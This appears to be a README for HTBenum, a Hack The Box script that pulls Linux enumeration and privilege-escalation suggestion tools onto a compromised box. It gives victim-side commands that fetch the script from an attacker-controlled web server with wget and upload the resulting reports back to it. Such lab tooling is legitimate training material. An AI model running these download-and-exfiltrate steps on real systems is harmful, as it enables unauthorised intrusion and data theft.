HTBenum : A Linux Enumeration Script For Hack The Box

HTBenum is a Linux enumeration script for Hack The Box. This script is designed for use in situations where you do not have internet access on a Linux host and would like to run enumeration and exploit suggestion scripts, such as Hack The Box.

I find myself running a similar set of scripts when I get an initial foothold on a Linux box, and this script helps automate the process of downloading the latest version of each enumeration script, making it executable, and running it, as well as sending output to a file for later review. It also has a builtin web server to host the tools and upload reports back to the host machine.

Features

• 5 different enumeration scripts, including:
  • linux-smart-enumeration
  • LinEnum
  • linuxprivchecker.py
  • uptux
  • SUID3NUM
• 2 different exploit suggestion tools, including:
  • linux-soft-exploit-suggester
  • LES: Linux privilege escalation auditing tool
• Builtin webserver for hosting tools and uploading completed reports
• Automatic tool download and update feature
• Custom directory option, for when you know you have access to a specific directory (default is /tmp)
• Interactive menu lets you choose whether to run only enumeration, only expoit suggestion, or both
• Checks for Python 2 and 3 and lets you know which scripts will be skipped if Python is missing

Usage

./htbenum.sh [-u] -i IP -p port [-o directory] [-w] [-r]

Example:
Host machine: root@kali:~/htbenum# ./htbenum.sh -u
Host machine: root@kali:~/htbenum# ./htbenum.sh -i 10.10.14.1 -p 80 -w
Victim machine: www-data@victim:/tmp$ wget http://10.10.14.1:80/htbenum.sh
Victim machine: www-data@victim:/tmp$ chmod +x ./htbenum.sh
Victim machine: www-data@victim:/tmp$ ./htbenum.sh -i 10.10.14.1 -p 80 -r

Parameters:
-h – View help and usage.
-i IP – IP address of the listening web server used for upload and download.
-p port – TCP port of the listening web server used for upload and download.
-o directory – Custom download and report creation directory (default is /tmp).
-w – Start builtin web server for downloading files and uploading reports.
-u – Update to the latest versions of each tool, overwriting any existing versions.
-r – Upload reports back to the host machine web server (must support PUT requests).

To use this toool to clone the repo and run the script with the update parameter on your local machine. This will download and update all the needed scripts from the internet (Github) and place them in the same directory as htbenum.sh:

root@kali:~# git clone https://github.com/SolomonSklash/htbenum
root@kali:~# cd htbenum
root@kali:~/htbenum# ./htbenum.sh -u

[i] Update complete!

root@kali:~/htbenum#

Then, start the builtin web server to host the tools and receive the completed reports. The server requires Python 3. You can use you own web server to host the tools, but it will need to support PUT requests for the report uploads.

root@kali:~/htbenum# ./htbenum.sh -i 10.10.14.1 -p 80 -w

Finally, upload the htbenum.sh script to your target machine, make it executable, and run it with the IP and port of your host machine, with an optional directory for downloading files and writing report output. You can also optionally upload the reports back to the host machine. For example:

www-data@htb:/tmp$ wget http://10.10.99.100/htbenum.sh -O /tmp/htbenum.sh
www-data@htb:/tmp$ chmod +x ./htbenum.sh
www-data@htb:/tmp$ ./htbenum.sh -i 10.10.14.1 -p 80 -r

Each tool will send its output to a report file in the same directory as the htbenum.sh script, or whatever directory is specified by the -d parameter.
